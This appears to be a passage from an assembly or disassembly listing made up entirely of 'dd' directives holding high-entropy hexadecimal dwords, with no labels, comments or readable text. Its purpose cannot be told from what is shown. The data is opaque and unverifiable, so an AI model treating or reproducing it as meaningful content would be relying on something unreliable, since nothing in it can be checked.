380814D7h dd 84179072h, 0EB487BE1h, 946D484Eh, 86113CABh, 502F2878h dd 426C0D22h, 246008BFh, 14D03E69h, 0D36544F9h, 2A032284h dd 0D9082742h, 670841E0h, 2C5688CDh, 28507B94h, 8F51445h dd 7F12E782h, 89DDE110h, 4458088Fh, 22845328h, 0A344DB12h dd 49C60965h, 0F780BAF3h, 0A62E0C4Fh, 62560600h, 90255DB6h dd 0DC34008Bh, 4FBDF16Bh, 0FA0BBE74h, 905221A3h, 3EC4EFECh dd 0D6BA0ABAh, 7206B01h, 2CA3AAF5h, 0C4AE80F0h, 0C8DAEEh dd 0C2543F72h, 0E4F2DF19h, 4E6F8F00h, 0A685AE66h, 139003A7h dd 4CE1203Bh, 0FCDAA381h, 14036648h, 0B0BBAE61h, 0F85B18Fh dd 6B8070h, 5F1365C9h, 0AD071E2Eh, 61BBFF00h, 8F906D6Fh dd 2E51F9Ch, 5BC880E4h, 85D36C7h, 6D071FFAh, 0FE14B70Ah dd 0D60428F0h, 0EEA0B8CAh, 772A1CF0h, 5D5C80A2h, 8DBF2E9Ch dd 83494B98h, 91952D74h, 4460773Ch, 73610050h, 7521DDAEh dd 51067E30h, 537A520Dh, 77621h, 16236771h, 99E2A8C5h dd 0B8EEEA0Fh, 461DC125h, 0FEF82BD8h, 0F78E1F45h, 3226CB44h dd 3C52B412h, 819B5F00h, 76535510h, 0E77901F4h, 414DBDD9h dd 0A4687062h, 0A030602Dh, 7C1768D0h, 3E10B85Eh, 0CC00D30Dh dd 0C7817B98h, 0E737C2E0h, 88E2A07Fh, 8363E0A0h, 0F86E076Bh dd 0A079EBA7h, 0B18AB940h, 0D7CBB200h, 22E082C6h, 12CE007Eh dd 0B640BC51h, 0DC0E4BB0h, 56664Ch, 0A27BE578h, 0A8DA0650h dd 0C8B19245h, 818E9E00h, 28B9721Ah, 0F5C30778h, 0A00E4DDEh dd 575DDDEEh, 1D94CCF5h, 0BA263930h, 25EBC206h, 0ECA09A6Fh dd 42048C96h, 72DE261Eh, 92206025h, 773E170Bh, 17F89063h dd 0D4A5FE5Fh, 51377D07h, 3821B4D1h, 49C4B840h, 4A84774Fh dd 6F8AE84Eh, 11C23E28h, 201C87D6h, 0EE8073D0h, 4C93D400h dd 0D477FC1h, 2D3A3C3Fh, 8CC3D454h, 0A72B0902h, 0C074E410h dd 0FC6E7BBh, 0D837F1E0h, 9FFB4941h, 0E4642103h, 2C005CC7h dd 52052804h, 5BC6B6h, 0DC7D901Fh, 0C7AF4764h, 0E307AE76h dd 3F369AC5h, 1D0CE210h, 74A67D42h, 765408CEh, 0BE00B2BCh dd 0B70D077Bh, 5FF8F158h, 0FE730E30h, 0F30168BBh, 0E8242B38h dd 0C40AD34Eh, 0E803FAE6h, 16C50038h, 0A75B69E8h, 7E7200ECh dd 0FBABA17Ch, 9C0290BEh, 71FF64F9h, 7DF46139h, 9514402Bh dd 1AE3D0B2h, 0ED0487E0h, 0BD775066h, 0B0AE18D0h, 317001Dh dd 8F42F09Dh, 72003CC1h, 0A78ECE5Dh, 0D8656Eh, 9FE1741Eh dd 44E3FE9Bh, 4C76A00h, 465C2F2Ah, 0A6145C7Dh, 6B278C00h dd 8548B94h, 38F5A601h, 515DDE95h, 0A503F438h, 71BBEA66h dd 208A26C9h, 0CC71788Ch, 93552200h, 4E3717E1h, 34824042h dd 9B8B0602h, 400744FFh, 2A7600h, 5D855FB9h, 84468AAEh dd 0ADD54F00h, 5A913EE9h, 0D19400EBh, 2EE081F3h, 0CEE8E744h dd 8D394900h, 8BC75A0Bh, 4E730029h, 0DC3CD571h, 0F012191h dd 0A60C18EBh, 1C301EA5h, 6D6B0128h, 0B9BD84C2h, 0C182F48Ch dd 921D3Ah, 6370CB2Dh, 0E7DD76h, 0F8F45C31h, 611F8584h dd 595E7801h, 49B04E92h, 8815C850h, 0EC9D01B9h, 0FB890A1Ch dd 0C5CC7072h, 30290F00h, 0D97C4955h, 0FE5E446h, 3875CB4Eh dd 84B85720h, 870E25AAh, 6F36DDD6h, 49BC6510h, 0C1BC840h dd 420A22h, 0D0B9FA63h, 0D47F0414h, 2098B100h, 2AF6C375h dd 1606077Bh, 57712702h, 0B67930FAh, 0E9048A19h, 9E0A335Fh dd 437A880h, 4F7F3D36h, 0EC3AD600h, 58C3C693h, 0FE4BE00h dd 9D49F841h, 62B700FAh, 0B86D270Ch, 0C00E9587h, 6ECA53DDh dd 0EEE9C7h, 80A29F78h, 0C0700C4h, 682D5115h, 7C962A7Eh dd 0C266FE00h, 95347417h, 0EF644490h, 92014D98h, 438EC15h dd 30EC949Bh, 1F9F00A2h, 79250EB2h, 97032Bh, 1DD0950Ch dd 611B00F7h, 9059AB67h, 4A0FEBF0h, 7E0563CBh, 0B1038079h dd 442C749Ah, 9C0C97E1h, 6F000431h, 2EA110CCh, 0CDBF43h dd 97F1A0E1h, 4126BA5Fh, 8037DD2Fh, 7A1534C4h, 0E6D10908h dd 4C019764h, 309A6954h, 0ED0F7980h, 612ABBD7h, 0D05F7342h dd 0F8D7A8F1h, 41CCE0h, 0D201B2DBh, 6872BCA9h, 0E49E2D28h dd 4E207713h, 0F1B75423h, 9D40626h, 0FD160059h, 5F2A0B42h dd 0FA00071Ah, 38AD5BC7h, 19B2FBh, 5191821Dh, 0BBB7AF63h dd 6C003EFAh, 0F636CFD5h, 70C9538Eh, 7248026Dh, 0AFE3CDEBh dd 7E659840h, 80432F3Ah, 0CBD58E0Ch, 0E140519h, 5AF6784Bh dd 1182B980h, 16008D79h, 0B8AC92DDh, 1361EBDBh, 3E9F46h dd 2713ED4Ah, 29000636h, 88760EA5h, 269249FAh, 1FCAD20h dd 33487C18h, 0DE17FC3Ch, 414E6FE8h, 0F07DA482h, 1B47007Ch dd 0AD96A37Fh, 8F00ED73h, 29EF5AB7h, 9869F0A1h, 0D7E403E4h dd 22161C2Bh, 0B0C4AAB8h, 72F7DE00h, 2487AE84h, 0D66A0399h dd 0A3D8A033h, 0EFB39EB0h, 0B68A9400h, 89444B41h, 0CDFC0314h dd 0D9F5A15Eh, 0EB503AC8h, 2347022Fh, 0A0D5A5B8h, 0C8634Dh dd 91277994h, 0B1D0AB5Fh, 0B5397800h, 0E5F1A347h, 114B015h dd 0C5BEEA50h, 20BB460Bh, 281D747Ch, 6DC04BDDh, 0DC0FE0B7h dd 1C207AB0h, 0C18F071Dh, 6418BFD6h, 7E7FE49Ah, 0C9E3D200h dd 4D5771F8h, 7D870717h, 665DAE2h, 0D4023A2Bh, 19FE3CBDh dd 0F2FD01Ch, 36EFA76Dh, 7B481460h, 822C0903h, 0AC0E8022h dd 9669E13Ah, 0A4310788h, 0A028EAD8h, 0D4DAE6h, 0F357132h dd 82B9336h, 5F579400h, 0C5B3BFB7h, 0ACDC3A91h, 640B0976h dd 15851055h, 0D3CB801Ch, 0BF00CABDh, 0D05AB5A3h, 70F9FCh dd 0D2A81204h, 7D7EF19Fh, 0F8D78000h, 0F6F5D914h, 0CF0F003Dh dd 631E2EE5h, 5300BA51h dd 19EFD1D8h, 2C22F7E1h, 0FC2F1h, 4EFC5095h, 0F42880CAh dd 0E800FC60h, 12187FDBh, 0A6511Eh, 0FC0ABCC0h, 8B9A5876h dd 0BE952800h, 0DCAC31A2h, 0F26E0027h, 8620FBFEh, 570045BAh dd 8188D10h, 109D9329h, 0E3DD501h, 27530EDFh, 2F202D58h dd 764378Ah, 0D072F876h, 993BEE0h, 9900FE7Ch, 560DD76Ch dd 7A24C00h, 6DA6552h, 7E7C3F92h, 0B3422287h, 5C00DB1Eh dd 0B2BBBAA6h, 50570803h, 0A0D9E013h, 9835C060h, 38A80012h dd 28D5FE15h, 8C7CF871h, 0AC3CC201h, 66694998h, 77D426C0h dd 0C37004Bh, 7D581682h, 1100FE91h, 28E91B05h, 0E46CAF4Fh dd 55431CCDh, 0A2F64577h, 9AA8D06Fh, 0B6FEE916h, 0B8E4E500h dd 0A685457Eh, 74ECA3h, 1520DFB0h, 9EC99A54h, 25DAA900h dd 0CEFC98E0h, 77FA00D0h, 0C16270ECh, 5307BDF3h, 0E611C278h dd 244B7B01h, 0A8D40D2Eh, 35EC0038h, 38D6BA10h, 0C7A40E00h dd 17407C9h, 0D5087B79h, 303DC12Dh, 0E0008DA4h, 0A4645731h dd 24730282h, 2414D0EAh, 0CDA70084h, 0BE97F3C9h, 0C86D6100h dd 0F2C0ED13h, 0D501DDFh, 5EDEC021h, 886EBE56h, 0B9E4D009h dd 0B3A4839Ah, 0F70AA094h, 578A0083h, 1E100223h, 0A301AB45h dd 65534DDBh, 203819h, 0F22E072Bh, 937A03h, 7206A91h, 1A955F03h dd 946906h, 0C437CA29h, 566840EFh, 33F16607h, 0D7203D47h dd 0B42E7CEh, 1CFCB1DAh, 0B3C2FF00h, 9A09185Bh, 8BE817h dd 0FD619648h, 1A17D6Dh, 9C14073Dh, 30053B7Ah, 74701690h dd 651BD905h, 0B414D768h, 0A58D00B0h, 0A9D30F3Fh, 0ACC54816h dd 22AF0F71h, 40006893h, 49B4B0DEh, 4730320Fh, 1625019Eh dd 3A2EF1C8h, 6BBC8800h, 6B1D38C8h, 9FEBAE00h, 0D50AE226h dd 9AC4A1A2h, 0EDA1C20h, 3E4E8657h, 0CF06AFC1h, 0A85EFC97h dd 13239800h, 8E6C3D8Bh, 2410172h, 4DE9A32Fh, 8688064h dd 77FCAB37h, 53DA0B19h, 8C6076B9h, 140FBABDh, 4017E45Bh dd 7966E0C5h, 5D5500D7h, 0C115302h, 0B628285Ch, 0FB7FE8B3h dd 10BE8103h, 0A864C46Ah, 0DB5C73h, 3967E8FDh, 0EEFC8C50h dd 1EF8E007h, 2EB0A8C9h, 1026B65h, 0AECC0721h, 2C8ADCCFh dd 0A530028h, 35FBEFEEh, 0D87901C5h, 0CBB0F3CAh, 4481CCDDh dd 8F38BCB8h, 0F9FE81DCh, 0A1314D22h, 17643C8h, 67E329E1h dd 0DC574764h, 9302F661h, 0BAAB5E1Fh, 605EE5h, 72262279h dd 0CF057194h, 3ED8149Ah, 0DC508A9h, 0FD438098h, 0D800D605h dd 0B0CF041Ch, 0A669FEFh, 0EEB45891h, 276E02A0h, 4C03044h dd 8600B3FDh, 1A4F0185h, 127FA9h, 88144BF3h, 22745E0Fh dd 4A05806h, 78707BD6h, 42BF18E4h, 1FDB48BAh, 0EA356900h dd 157428F3h, 0E2A50550h, 80E191B4h, 0F6A6D380h, 104F207h dd 1CB00AC6h, 0A0808BFEh, 7525CDCh, 0A1895DA8h, 0D1E720B6h dd 903F99ACh, 0CF02F1C8h, 65A0E392h, 88DD63FCh, 16F4A884h dd 6E6C1Bh, 1FF7AC92h, 7B009D8Eh, 74FE14C7h, 0E07A8B8h dd 5A64121Ch, 0FB848803h, 3D1180F0h, 0DE7FCC98h, 2285B100h dd 0CE3FDF99h, 0BD900345h, 211E7403h, 0C856E2E0h, 57B14901h dd 0BE531430h, 886251CDh, 5DE1B502h, 72C01AE7h, 6E09A5B2h dd 80DFB147h, 4037E270h, 0D6FD00BCh, 0F4FFD95Ah, 0C91E5E05h dd 74464795h, 100711h, 0DFD34072h, 178450A4h, 70BEB46Bh dd 3AFC0061h, 4C600C9Bh, 4F247CC4h, 8B004066h, 28422DC8h dd 0CEFF0090h, 0BDE0BAE4h, 8479F773h, 7A48F379h, 0E69B001Ah dd 8E98FE42h, 76C7006Ah, 0FA6DD92Fh, 0FD0182EEh, 2D1AA96h dd 0C72E5490h, 970D20C8h, 0EA001440h, 438B1DDEh, 0B8137288h dd 30DF01BAh, 0D0E38910h, 0D382C07Eh, 229AC60h, 1DE02B2Ah dd 0CE5A9960h, 0B100DD77h, 6BD531D1h, 3D137E18h, 1452180h dd 0F7A85D40h, 0D037C079h, 130FB2D5h, 0C0FC8B1Eh, 0B5669EEBh dd 0BEF500D1h, 0C2165658h, 0A008009h, 0FC67EAB9h, 0CDE9A5h dd 0C60E43DDh, 17718172h, 598C611Eh, 0DE38Bh, 752B79CEh dd 0F6D100A8h, 0F57EADFh, 111DDB14h, 0B5C081F8h, 22C5EB52h dd 79E0001Dh, 424E366Fh, 6A00F5A1h, 0AC98062Dh, 68A882h dd 34BE3E29h, 263CA9B7h, 0A7A01B00h, 98B2DD1Ah, 0C73F0F56h dd 8E82C822h, 90EB48E4h, 30994DF9h, 0C126BCA4h, 6280FC3Ah dd 2AD1A96Eh, 42477DDh, 0F2C22884h, 3B3880E3h, 0D6018936h dd 407760Ch, 9DDC22C6h, 4FC209C0h, 0A080FAADh, 9831BB21h dd 5F2A6200h, 2CDBB469h, 0DAC30079h, 0EA1D7F54h, 0D700F69Fh dd 980A7DC1h, 0DD113Eh, 6AB6EBDEh, 35BA4540h, 28220430h dd 593BB2h, 1D29ED80h, 9B4958A2h, 0F43D0701h, 852F480Ch dd 44030A06h, 20EDCBDAh, 0AB821254h, 65B4A456h, 25790200h dd 0E8139B1Ah, 846F0C40h, 9430CC31h, 78C9D702h, 6051D88Eh dd 15AE453h, 3670249Ah, 68A1370Bh, 179B1CE4h, 0A6AE3AC3h dd 624CA1D6h, 0B20330h, 46FFA0C6h, 3540FD16h, 0C5E81FAh dd 3517400h, 133A8CC5h, 40040A27h, 8F6B3694h, 910BB359h dd 2009F378h, 56C979F8h, 467A3Ah, 2502EB88h, 987940Ah dd 0A283F200h, 9A921ADAh, 7F640019h, 2591EF0Fh, 709870CAh dd 0DD219C00h, 0CCF8A1C3h, 141300ACh, 64E03F4Bh, 0B11660D1h dd 78B43E45h, 25952C69h, 7E360024h, 0DB578D17h, 0C4C8EA00h dd 0FF430A21h, 9CE44Ah, 83EDC7CFh, 0D0869733h, 946F2B00h dd 7219BC48h, 0B9AB0312h, 82A33879h, 159995C0h, 0A5F62EFCh dd 432F9000h, 1C8E097Bh, 680B00F9h, 485C9F92h, 10E7EBBh dd 8006CCh, 0DA5BD9BEh, 0A51300F8h, 1B514E39h, 7C0005ECh dd 47B6BC4Ah, 68AADCh, 594BEA26h, 0AB29C40Fh, 7636D0A0h dd 8A04C2F2h, 0DB6020B1h, 0A54CF0h, 0F5A60611h, 0ED059B3Eh dd 8E413B02h, 0E8CEA41Fh, 0F470A2E8h, 0FEB40046h, 95BA2C94h dd 4E588B06h, 16653CD4h, 0B4E002F2h, 147E89h, 1FECCC66h dd 821D9175h, 0A8CAD13Fh, 7800A8C4h, 52C9E63h, 0ECEC6871h dd 0A17D0Fh, 0FB5806B3h, 0E9B80ABFh, 819C6D3Ch, 0F16E323Ch dd 0A643DD28h, 807C81B2h, 0A79DC8h, 0C3BDC11Fh, 0E56B90D5h dd 2C4F48h, 81FD1BE1h, 14E68F0h, 250FBF6Dh, 6A52511Ch dd 41EE340Fh, 3A54D2C3h, 0B005D83Dh, 0B9D8952Bh, 0A0900F4h dd 0A07B44B2h, 90965C7Eh, 55D8BF00h, 0EE2E5B8Fh, 49B8D612h dd 0E0A66C0Eh, 5DB7FFACh, 9900062h, 2C8352Fh, 70702729h dd 0DE51FB1Fh, 6E3D6540h, 1E7D23Fh, 0EA758FECh, 0CCA81915h dd 47149B0Ah, 1294C24Bh, 88C0728Dh, 1A1B4Fh, 0F0FF10E4h dd 3FCF8523h, 0BEB24D07h, 17E0E6B5h, 0D7328Ch, 8503FAD4h dd 0DBCEBCC8h, 0FD7A611Eh, 13098F01h, 802020DCh, 0C8040034h dd 3A39E9E8h, 0BF006229h, 932B01A3h, 0F36EC4h, 9C87205Ch dd 1A318583h, 47344A04h, 0C4C8F76Dh, 0F3701054h, 994F001Ch dd 0D718AD63h, 0FA3A1D48h, 0FB8580AAh, 0B2F75044h, 38F32300h dd 0F2C0033Bh, 35840259h, 2B8AAB3Ah, 0DA5D0461h, 700090D8h dd 0C750059Dh, 3F069BD5h, 96008793h, 0CCBC32E5h, 4707B54Ah dd 5B6248F0h, 0A5979CD1h, 3600F83Ch, 0B1F3798Dh, 0BD00F98Ch dd 91BB5BB3h, 9DD16CACh, 43BF1487h, 0B8B0032Dh, 88097ECDh dd 82523624h, 0C079443Ch, 2C19023Ch, 80845C0Dh, 0FD7520A2h dd 4961B5A7h, 0B302BF28h, 39ECC030h, 25006F78h, 4C6644Eh dd 2F4CDC58h, 88185017h, 290052EEh, 646C3EE5h, 1554DD8h dd 75F336C4h dd 7ABC2463h, 547D3000h, 970E276Ch, 51A84880h, 341C6845h dd 3C89FA57h, 647899h, 2BC43F1h, 50B4FBF8h, 1C5352h, 0B8607047h dd 1D9FD4BAh, 125CF6DFh, 87D00030h, 8C8D279Bh, 0DD071900h dd 0AE2F5A8Fh, 495103C0h, 2784FAFDh, 44567DEAh, 112C5800h dd 72FA29Dh, 9FEBACDFh, 8575C29Bh, 498A3B61h, 5C24F04Ch dd 11C26F01h, 2FA5651Eh, 53A84ADBh, 5F3F03ECh, 5CB0FF29h dd 69C057F6h, 0E0112DCAh, 0C0CD4F33h, 13EAA220h, 927CBC52h dd 0ED5A3460h, 939CA552h, 9A690070h, 90095C8Bh, 0B05D8805h dd 3C971497h, 0B54955E0h, 521D0176h, 0CFC7BD9Ah, 0A66880B3h dd 0C1436754h, 38EC00E0h, 0DB5DA861h, 1E780AD2h, 693D88h dd 7C9212FEh, 7F702985h, 23EE0A00h, 2582A9FCh, 28BE0Bh dd 5C48D51Eh, 102CC793h, 7D09AD26h, 1D807A5Dh, 58A0D3h dd 48E5494Bh, 0D77E2953h, 1C6C53Eh, 9162674Fh, 0E9E31C26h dd 0F3FC601Fh, 161A000Dh, 52218450h, 4300F825h, 980E319Ch dd 2D02358Bh, 4040AD15h, 660019ACh, 18C336ABh, 7C420ADEh dd 0B4809F53h, 45A30B29h, 63A01D61h, 0EDE4D225h, 0C13601A8h dd 0F627B7A1h, 0E7AC00Dh, 91A60802h, 4075D96Dh, 79109B8Ch dd 6CDE00FCh, 0B21F5BD7h, 0E30057B8h, 0C8F342D1h, 96AE6E9h dd 0A9242EC9h, 10480860h, 9DA71F00h, 18C7163Eh, 2E501F55h dd 5F4A0727h, 0C033458Ah, 0BA47198Dh, 516853Dh, 6C07213Ch dd 515DD080h, 4E8F01BDh, 0C263F0D5h, 74F82020h, 0C0BE0700h dd 0B0F685E4h, 0BDC93965h, 453926h, 96AE76A9h, 9906B168h dd 0A83261FEh, 2B090059h, 0EB9D1CC9h, 51C0E410h, 0D60DBE72h dd 30DB00D5h, 0DDB6A7E9h, 0CC38234Bh, 7DC70018h, 0AA043A44h dd 0A96F3399h, 0E9E0D058h, 78CED19Fh, 2A13ABD5h, 0FB9C40B2h dd 6C4077D2h, 61B44E60h, 0D88E54BCh, 0F09C1CCDh, 5D17CBB6h dd 24013009h, 38C329F2h, 84992434h, 0A79A800Eh, 0DD90587Ah dd 5B2C46C7h, 7D64003Dh, 9235D8EAh, 7B055BEAh, 0E43C7971h dd 0F88018C5h, 0F0D9E15h, 3FB03EF2h, 48A44283h, 0F989A5C0h dd 9658873Ch, 0DF02560Ch, 0C00F2A30h, 5DBBFFh, 0ECA8F96Bh dd 3A413CC2h, 8691680Fh, 0ED29E0DCh, 5BDB65h, 2A146325h dd 0EF4543B9h, 0D317E000h, 72F8106Ah, 66AF0B8Bh, 0AA8CFE88h dd 0A2B0659Ch, 6A0A88A1h, 0BC641C40h, 7A8B2763h, 0C779008Ah dd 0EAC9821Ah, 0B10148E7h, 74214D07h, 0E8642211h, 0D2C2E2Eh dd 60BB0011h, 4352A667h, 545A572Eh, 766E1904h, 2E01A4B8h dd 3BA07FD5h, 5A9D883h, 0B8CA5100h, 396FE8F6h, 7FD10115h dd 63E5689Ah, 0FC11D497h, 2901DF00h, 42DA2BB4h, 10C10E57h dd 0F0A027A2h, 7762F78Ch, 8807824Ah, 3413FDD0h, 99FCC1AEh dd 5A9BC4h, 0CC5B7219h, 5E9C071Eh, 8924C600h, 0C077338Ch dd 23595817h, 40DA491Dh, 55FB9E50h, 4161D671h, 0A561D96Ah dd 0E2F416F1h, 499000B4h, 0AFAA5114h, 0E0901295h, 3171E1Fh dd 0EE5A7F80h, 495D4B35h, 82042C78h, 0F4725036h, 0FF44D48h dd 0E71C9C03h, 755AB8h, 0BDDC1E29h, 0B5E238C1h, 0AAA9790Bh dd 976800A3h, 1D81023h, 781882B0h, 0C0F4F92Ch, 2759072Fh dd 1530846Ch, 3229FF4Eh, 0E1915F03h, 984439A8h, 0F7CB0400h dd 115355BFh, 431D26C6h, 8A60C0B0h, 5F0057DEh, 11F317E2h dd 0EAA6CFh, 6DC127DAh, 45DBFDC0h, 0EC8D2A00h, 60A8082Ch dd 0BEA071Dh, 0A023441Fh, 0F5F226C4h, 0B38C5D24h, 0A86CC202h dd 47BC685Ch, 0BC69008Fh, 52C93FE9h, 600095E2h, 0BAB629B0h dd 9F15349h, 5A3E59EAh, 238D401h, 70B86477h, 5F31D39h dd 63AAE90Ah, 0A103F4B9h, 764EA384h, 53588E98h, 0B8D69826h dd 0A72B0039h, 29176AF7h, 0D992044Eh, 919385A8h, 9EFE4318h dd 4A1354D1h, 98816CF0h, 830A259Ch, 270C4C58h, 71C6D470h dd 0EFA816F4h, 5C3C00FEh, 0BED3E605h, 443BC70Fh, 7C327630h dd 3BA3B3Fh, 0C70010C6h, 0A552C5FAh, 4CAF6A25h, 0C800E082h dd 6D7AED41h, 41CB45A7h, 879C1817h, 0D4290E59h, 0C225BFB8h dd 6B5C2C52h, 0F7EF5F02h, 6429A7F4h, 0B10200F8h, 3DCA5DAAh dd 0C800F28Dh, 645E7662h, 0D08447h, 4144544Ch, 19290873h dd 28347C00h, 0FE9A38D7h, 149D0048h, 46EFDC2Ch, 0DB09588Fh dd 804A1173h, 0D13E72B8h, 0E010032h, 0B3817F9Bh, 0C8001EEDh dd 474326CCh, 199EF93h, 31055BB4h, 80E77C5Fh, 0E9B34B11h dd 9160FB6h, 0BA753A43h, 0CEEB1821h, 1DE18103h, 768C3447h dd 5B03080h, 0AE3AC694h, 8CEC842Ch, 0BFB53200h, 0FA6237E6h dd 14ED329Bh, 78746D48h, 0F1214A87h, 0B3280821h, 1FD365C8h dd 52CCE87h, 503C68h, 139C5B9Fh, 0C200BAC0h, 9BCC4EB1h dd 15CE28h, 4B665193h, 303C1145h, 0A3FC3900h, 763E4DE7h dd 0AFA5011Fh, 877FBBF3h, 0C7F4D8D2h, 0F0C55B00h, 0EAD3892Ch dd 16DCE684h, 8592BEh, 9B9CE81Ch, 4000A8BFh, 9A2E5112h dd 0AC9F1Eh, 114F64E6h, 156EC885h, 14B69500h, 860822E7h dd 605374D6h, 6EE63AACh, 3D01F5F3h, 300A90E2h, 0D1E49B09h dd 0B9F81C9Fh, 1CD8D338h, 0FB6C433Eh, 9CF022F9h, 0C1C02014h dd 5787C74Eh, 2BA13955h, 6E4BD984h, 0C1408031h, 460CE0B7h dd 1A18047Bh, 0EAE7F4DBh, 0F073589Eh, 8026F903h, 43B03E70h dd 5E1354E4h, 2800A74Fh, 353AB6A1h, 0BD890E32h, 0ED854505h dd 7F480C7h, 2400F08Eh, 0E39837E0h, 2F4B6A2Bh, 886A8015h dd 8E3C44D0h, 0C63D0B89h, 3950D04Ah, 5439165Fh, 76350281h dd 605D9EF1h, 5502BCF5h, 1C62F5EBh, 75F44995h, 0E378213Bh dd 8C410029h, 0E957009Ch, 8A03648Dh, 0EA006B38h, 0B0BB861Bh dd 0BAD6EBh, 4BBC5278h, 0FAB30C3Eh, 5C275839h, 514080B4h dd 9A204C3h, 3A4C7107h, 6EFBA4A0h, 2B6F3BD8h, 0A15EA011h dd 0BA3AABA9h, 0E830A040h, 8027B720h, 17479086h, 3C02F464h dd 0BAB3D96Ah, 0B4BC4024h, 5BE04F8h, 0C068EAB9h, 6C27966Dh dd 0C9E35307h, 5950603Eh, 1D4863ABh, 2BBE5B2h, 2A04FAADh dd 0D07E7C62h, 52C8800h, 94A12FDCh, 0E6DE00F8h, 0A057B017h dd 0E0C8F400h, 2D1B6CBEh, 184E3D0Bh, 41050CCCh, 0C3549A36h dd 0C084CD52h, 49AB34E0h, 24CC24Ch, 0BDDB272Dh, 0D16C6893h dd 601F009Bh, 0BA2F4E78h, 62167054h, 3C80C008h, 1C7A7264h dd 4069C3A2h, 0DBBC83FFh, 560098E2h, 852E0540h, 966FAF27h dd 501354h, 0EA44D38Ch, 0FCE8C5D9h, 0CFDF9402h, 48FE9C27h dd 41EEB14h, 0C0CE38CBh, 1310AC8Dh, 0B839026Dh, 72A0D86Ch dd 0DA0014BDh, 6D34E7D1h, 206BBF7h, 265FE9B8h, 18C48D85h dd 0A8C0FC94h, 0EF95DC9h, 8242CFD9h, 0A81E1E8Bh, 401658h dd 0EC17A453h, 33B03543h, 0C368F840h, 1A236CC8h, 0A7E35402h dd 69D34E3Bh, 1839C680h, 5F03384Ch, 0E4F9E52Ch, 9F74FD90h dd 805DB428h, 0B83C77EEh, 0AC273A84h, 43C92CEAh, 8B44DCFCh dd 3083AB6Eh, 0E8C1A8F2h, 3F7D0161h, 7908234Dh, 4BEC6287h dd 2030042Dh, 2B1E002Ah, 9EFC7481h, 0F080E3B2h, 0E4E800BFh dd 0F28F2137h, 7D00EB43h, 87F70A66h, 1178386h, 372C0BFEh dd 62AD5E50h, 6824035Ch, 7A8BA7DAh, 56234EA8h, 0C1D4F450h dd 4C18B24Ch, 0CF800F4Ch, 8529038Bh, 0C14E86Ch, 74C890E0h dd 7A0102ECh, 494BF124h, 7B004856h, 99468285h, 64D40004h dd 0F4733470h, 184837B8h, 53C600B0h, 0B76C4739h, 581B00DCh dd 9E5AEFA4h dd 7AF4259Ch, 0BBC80D07h, 2C071B4h, 170E0ACh, 9B07208Bh dd 70825EC0h, 13079FD4h, 0FB58C674h, 6AC2240h, 9E641289h dd 0E220477Eh, 988D60ABh, 400007CAh, 0ED99033h, 258F0665h dd 3CD9D26Fh, 0AEEB6D00h, 18F6F8h, 0ABAAA8DFh, 0D46B08A7h dd 8296DB3Eh, 9B5239BAh, 2698801Eh, 42AA6EEh, 0AC0DF620h dd 22F9C643h, 190E4600h, 0FCB65B8Fh, 261D00D5h, 5C76E450h dd 0C30048D3h, 0ACFD1663h, 3915BA78h, 9401669Ah, 0A93FAA58h dd 0DD97D4DAh, 7CFE1C05h, 0E0006AEFh, 0D44FFBEEh, 39ED00E3h dd 283AA260h, 6100DB6Fh, 0E2CE594Dh, 0D8709Dh, 847A9014h dd 66D61D13h, 0B057801h, 0AFB9A1D5h, 9719368Bh, 9F8A0D0Eh dd 6DD20CF8h, 0E200C048h, 5111FBF6h, 0EE71B904h, 24BF0B70h dd 6400E0EFh, 9AA8BA47h, 20541100h, 84F0F56Fh, 28255C91h dd 1BDB6600h, 0F8C9E55Eh, 1F55BF00h, 0F92D6794h, 0E22AE4CAh dd 0B14D025Bh, 0A481547Eh, 0C783A4C0h, 41756730h, 9A397Fh dd 0EBE1B319h, 0E773B5FFh, 0A8B0BA24h, 50B4D039h, 40565A25h dd 0EC3A4D4h, 93304033h, 15FDEEA0h, 0E400C01Ah, 0BA255FA3h dd 3FD8B366h, 0E3A826Eh, 0BFD15482h, 81604B91h, 0A8B8EF0Dh dd 8B372709h, 0B4D017h, 0B3E344ADh, 5F14AEBEh, 6DC1510Eh dd 0D90A0F8h, 1724B17Dh, 0E022D67Ch, 5A2081D8h, 2CFE2425h dd 497DA8A4h, 0B24E8A6h, 0B271DA0h, 880E7E7Ch, 6EAD4261h dd 1A118076h, 4EAC9C9Fh, 0A8C50C79h, 0C8500DF1h, 5055F700h dd 6C0A7DB6h, 8BA3007Fh, 0F2A2F0Eh, 9E135F15h, 4000F275h dd 3E353F07h, 20F005BEh, 0C1F852F4h, 2A340388h, 0EAD6E800h dd 695E0Dh, 0E146F2E7h, 0B87F2C1Ch, 7B881F00h, 6B7010EBh dd 0EE4000D1h, 16D52692h, 0DF005115h, 62E22E61h, 7B6D7C31h dd 0E30C00DDh, 138C5895h, 830F99C7h, 0EA036h, 0B46DB62h dd 0B29600A9h, 0B46A4EE0h, 0E54CA829h, 8D7A0434h, 84804C9Ch dd 233B11h, 0C72F8924h, 0D92570DCh, 0A56C7426h, 758E5B00h dd 3D47DF7h, 1DF2D7BFh, 0C9E89E07h, 0BC1EFBC2h, 4AC7C69Ch dd 0EC80975Fh, 0E919DE4h, 3DDC930Eh, 8249422h, 0CEF57A41h dd 4013AC5Eh, 0DFD24A00h, 1A8DCA4h, 0B98D4928h, 3110ED86h dd 0C0F8E9BFh, 0EA4A13D3h, 0FE878487h, 5E7925F2h, 0DF7A8070h dd 4BCAEB28h, 36408DFEh, 1170061h, 0B7E41B26h, 3A2CEC39h dd 7E008863h, 59A15793h, 0D0600F47h, 3A0C95Eh, 0C7EF7DF5h dd 0C12B8000h, 0D2DBDA56h, 0E5DD1D28h, 0CB0D0965h, 6DA7C880h dd 0E0BA2590h, 0D548D4F0h, 0B6740021h, 82816319h, 0B8270070h dd 5E41C27Fh, 7E1D804Bh, 0F0086A1h, 1556209h, 0F18B0089h dd 0B5A47097h, 0E6EA6FB2h, 5B82A0Bh, 576F83DAh, 6A4BA91Dh dd 41F0BAC5h, 0FC181BB5h, 43C9882Bh, 493FECB4h, 71CD641Eh dd 91C6C340h, 904B7574h, 0FAEBF45Ch, 794000F1h, 9ECF9D1Eh dd 0A1008AF4h, 0B13B4463h, 272D9005h, 1C000462h, 0BB5F5509h dd 86286403h, 0B87A3289h, 1E74821Ah, 0A6EE102Ch, 0E94F05FCh dd 2550F285h, 96ECE0ACh, 457D3Dh, 3EF15573h, 0DFCBA140h dd 230C31ECh, 282BD741h, 918EC048h, 0F61E1C20h, 0E0B13701h dd 0C5B03054h, 82E632E5h, 800385E4h, 0BBD94688h, 9ED8008Dh dd 0FAAEA36Fh, 0C501B31Dh, 35444B3Dh, 0C0295CF2h, 